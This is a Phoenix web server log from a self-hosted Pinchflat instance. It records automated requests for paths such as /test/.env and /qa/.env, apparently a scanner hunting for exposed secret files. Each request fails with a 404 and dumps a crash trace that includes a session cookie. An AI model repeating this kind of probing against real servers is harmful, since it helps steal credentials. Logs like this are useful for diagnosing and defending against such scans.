"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3507.0>, params: %{}, path_info: ["job", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/job/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk69ovthtkBNIAATKB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/job/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 203, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /job/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/job/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 203, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: (truncated) 02:10:22.778 [info] GET /test/.env 02:10:22.779 [debug] QUERY OK source="settings" db=0.2ms idle=200.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.779 [debug] QUERY OK source="settings" db=0.0ms idle=129.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.779 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:22.779 [error] #PID<0.3508.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 204) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /test/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 204, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3508.0>, params: %{}, path_info: ["test", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/test/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk693BTi5OijYAATLB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 204, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 204, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:22.860 [info] GET /qa/.env 02:10:22.861 [debug] QUERY OK source="settings" db=0.3ms idle=210.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.861 [debug] QUERY OK source="settings" db=0.3ms idle=141.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.861 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:22.861 [error] #PID<0.3509.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 205) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /qa/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /qa/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/qa/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 205, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3509.0>, params: %{}, path_info: ["qa", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/qa/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6-Ke81gepucAATMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/qa/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 205, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /qa/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/qa/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 205, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchfl (truncated) 02:10:22.945 [info] GET /preview/.env 02:10:22.946 [debug] QUERY OK source="settings" db=0.4ms idle=225.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.946 [debug] QUERY OK source="settings" db=0.1ms idle=167.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:22.947 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:22.947 [error] #PID<0.3510.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 206) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /preview/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /preview/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/preview/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 206, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3510.0>, params: %{}, path_info: ["preview", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/preview/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6-exCorM2bYAATNB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/preview/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: 